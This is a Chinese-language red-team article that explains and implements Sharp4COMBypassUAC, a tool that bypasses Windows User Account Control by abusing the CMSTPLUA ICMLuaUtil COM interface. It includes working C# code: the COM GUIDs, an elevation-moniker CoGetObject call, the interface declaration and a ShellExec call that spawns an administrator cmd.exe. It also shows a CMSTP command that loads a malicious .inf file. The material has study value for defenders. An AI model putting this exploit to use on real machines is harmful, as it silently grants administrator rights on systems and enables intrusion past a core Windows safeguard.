Sharp4COMBypassUAC:通过指定的ICMLuaUtil 接口执行命令绕过UAC

在Windows操作系统中,UAC(用户帐户控制)机制用于防止未经授权的程序以管理员权限执行操作,从而增加系统安全性。然而,特定的系统组件和接口,例如 CMSTPLUA 组件中的 ICMLuaUtil 接口,通过设计用于系统权限管理和任务调度,拥有特殊的权限调用方式。渗透测试人员利用 ICMLuaUtil 接口的 ShellExec 方法,结合 COM 接口创建具有提升权限的 COM 对象,可以在不触发 UAC 弹窗的情况下启动具有管理员权限的进程。Sharp4COMBypassUAC.exe 就是这样一款红队渗透工具,用于在 Windows 64位操作系统内网环境中绕过UAC,直接提升到管理员权限并启动一个新的高权限命令行窗口 cmd.exe

CMSTP.exe

CMSTP.exe 是 Windows 系统中的一个命令行工具,全称是 Connection Manager Profile Installer。它的主要功能是安装和配置网络连接管理器的配置文件,如 .inf 和 .cms 文件。这些配置文件通常包含 VPN 配置或拨号连接的详细信息,便于管理员在用户设备上部署和管理网络连接设置。通常,运行 CMSTP 并安装指定配置文件的命令格式如下

CMSTP.exe "C:\VPNProfile.inf"

此命令将在用户系统中安装 VPNProfile.inf 配置文件的内容。然而,攻击者常常会利用此工具加载恶意的 .inf 文件,具体命令如下所示。

CMSTP.exe /s "C:\path\to\malicious.inf"

ICMLuaUtil 接口

CMSTPLUA 是 Windows 系统的一个组件,专门用于在 CMSTP.exe 程序运行时管理用户权限请求。当二者结合使用时,CMSTP.exe 可以通过调用 CMSTPLUA 的权限管理功能来安装需要管理员权限的网络配置文件。CMSTPLUA 组件中有一个 ICMLuaUtil 接口,能帮助用户在执行系统管理任务时获得更高的权限,确保安装配置任务顺利完成。要查看 ICMLuaUtil 接口对应的 COM 属性信息,可以使用 OleViewDotNet 工具,以管理员身份运行后,在 Registry 中打开 CLSIDs,输入 cmstplua 进行搜索,即可快速定位到该组件,如下图所示。

从图中可知,接口位于 cmlua.dll 中,虚函数偏移为 cmlua.dll+0x6360。此时,我们使用 IDA 打开系统文件 c:\windows\system32\cmlua.dll,并跳转到虚函数表的位置,即可查看 ICMLuaUtil 接口的虚函数表,如下图所示。

双击查看反汇编代码后,可以发现一个关键的 Call 调用。在 IDA 中,这个调用是 ShellExec 函数,它通过调用 Windows API ShellExecuteExW 来实现命令执行。具体如下图所示。

接着,我们回到 OleViewDotNet 工具中,右键点击相关项以查看 cmstplua 的 Elevation 属性,具体如下图所示。

图中显示,Enabled 和 Auto Approval 属性的值均为 True,这表明该组件能够绕过 UAC 认证。基于以上操作分析,要实现 BypassUAC 执行命令的 COM 组件,我们可以概括出以下两点:

1. Elevation属性中的Enabled跟Auto Approval为True
2. COM组件中的接口存在可以执行命令,如ICMLuaUtil的ShellExec

工具的编码实现

Sharp4COMBypassUAC 主要思路是利用 Windows COM 组件中的 ICMLuaUtil 接口,通过自定义的 LaunchElevatedCOMObject 方法来提升权限并执行 cmd.exe,从而绕过用户账户控制(UAC)。首先,我们需要创建 clsid 和 interfaceID 的实例,分别代表 COM 组件的类标识符和接口标识符。在这里,我们使用的 GUID 指向 Windows 的 ICMLuaUtil 接口

Guid clsid = new Guid("3E5FC7F9-9A51-4367-9063-A120244FBEC7");
Guid interfaceID = new Guid("6EDD6D74-C007-4E75-B76A-E5740995E24C");

接着,自定义的 LaunchElevatedCOMObject 方法通过 CoGetObject 函数创建一个以管理员权限运行的 COM 对象实例,并返回一个 ICMLuaUtil 接口的实例。

BypassUAC_csharp.ICMLuaUtil icmluaUtil = (BypassUAC_csharp.ICMLuaUtil)BypassUAC_csharp.LaunchElevatedCOMObject(clsid, interfaceID);

该方法传入 clsid 和 interfaceID,让对象在本地计算机的服务中创建,具体代码如下所示。

public static object LaunchElevatedCOMObject(Guid Clsid, Guid InterfaceID)
        {
            string str = Clsid.ToString("B");
            string pszName = "Elevation:Administrator!new:" + str;
            BypassUAC_csharp.BIND_OPTS3 bind_OPTS = default(BypassUAC_csharp.BIND_OPTS3);
            bind_OPTS.cbStruct = (uint)Marshal.SizeOf(bind_OPTS);
            bind_OPTS.hwnd = IntPtr.Zero;
            bind_OPTS.dwClassContext = 4U;
            return BypassUAC_csharp.CoGetObject(pszName, ref bind_OPTS, InterfaceID);
        }

代码中的变量 pszName 的格式为

Elevation:Administrator!new:{CLSID}

告诉 Windows 的 COM 系统以管理员权限创建该对象,即提升权限。接着,BIND_OPTS3 是一个结构体,包含了在创建 COM 对象时的绑定选项。在这里设置了结构体大小(cbStruct)、窗口句柄(hwnd,在此为 IntPtr.Zero)和上下文标志 dwClassContext(值为 4,即 CLSCTX_LOCAL_SERVER)表示创建本地服务器的实例。然后,通过 [DllImport] 属性从 ole32.dll 库导入CoGetObject函数,该函数是 Windows API,用于根据指定的名称(pszName)创建一个 COM 对象,在.NET中的定义如下所示。

[DllImport("ole32.dll", CharSet = CharSet.Unicode, ExactSpelling = true, PreserveSig = false)]
[return: MarshalAs(UnmanagedType.Interface)]
internal static extern object CoGetObject(string pszName, [In] ref BypassUAC_csharp.BIND_OPTS3 pBindOptions, [MarshalAs(UnmanagedType.LPStruct)] [In] Guid riid);

此函数会在系统中找到具有该 CLSID 的 COM 对象并创建一个实例,使用给定的 IID(接口标识符)来返回指定接口的引用。最后,通过 icmluaUtil.ShellExec 方法,以管理员权限启动 cmd.exe,这里传入的参数依次为程序路径、命令参数、工作目录、nShowCmd 值(0 表示窗口不显示),具体代码如下所示。

icmluaUtil.ShellExec("C:\\windows\\system32\\cmd.exe", null, null, 0UL, 5UL);

此处的ICMLuaUtil 接口是 Windows 内部的 COM 接口,通过声明 ICMLuaUtil 接口及其方法,将 Windows 的 COM 接口引入 .NET 中,便于通过接口调用以管理员权限执行 ShellExec 方法,具体代码如下所示

[Guid("6EDD6D74-C007-4E75-B76A-E5740995E24C")]
        [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
        [ComImport]
        private interface ICMLuaUtil
        {
            [MethodImpl(MethodImplOptions.PreserveSig | MethodImplOptions.InternalCall)]
            void Method1();
            [MethodImpl(MethodImplOptions.PreserveSig | MethodImplOptions.InternalCall)]
            void Method2();
            [MethodImpl(MethodImplOptions.PreserveSig | MethodImplOptions.InternalCall)]
            void Method3();
            [MethodImpl(MethodImplOptions.PreserveSig | MethodImplOptions.InternalCall)]
            void Method4();
            [MethodImpl(MethodImplOptions.PreserveSig | MethodImplOptions.InternalCall)]
            void Method5();
            [MethodImpl(MethodImplOptions.PreserveSig | MethodImplOptions.InternalCall)]
            void Method6();
            [MethodImpl(MethodImplOptions.PreserveSig | MethodImplOptions.InternalCall)]
            BypassUAC_csharp.HRESULT ShellExec([MarshalAs(UnmanagedType.LPWStr)] [In] string file, [MarshalAs(UnmanagedType.LPWStr)] [In] string paramaters, [MarshalAs(UnmanagedType.LPWStr)] [In] string directory, [In] ulong fMask, [In] ulong nShow);
        }

在 Windows 64位操作系统上启动后,直接提升到管理员权限并启动一个新的高权限命令行窗口 cmd.exe,输入命令:whoami /priv,返回的账户特权信息符合预期,如下图所示。

小结

综上,ICMLuaUtil 作为 Windows 系统组件,原本期望用于管理具有管理员权限的进程启动。但攻防实战中通过调用 ShellExec 方法,结合 LaunchElevatedCOMObject 创建具有提升权限的 ICMLuaUtil 实例,就可以绕过 UAC,直接执行具有管理员权限的命令。这一方法已经实现工具化,因此,Sharp4COMBypassUAC.exe 在渗透测试和权限提升场景中被广泛利用。

0 条评论
某人
表情
可输入 255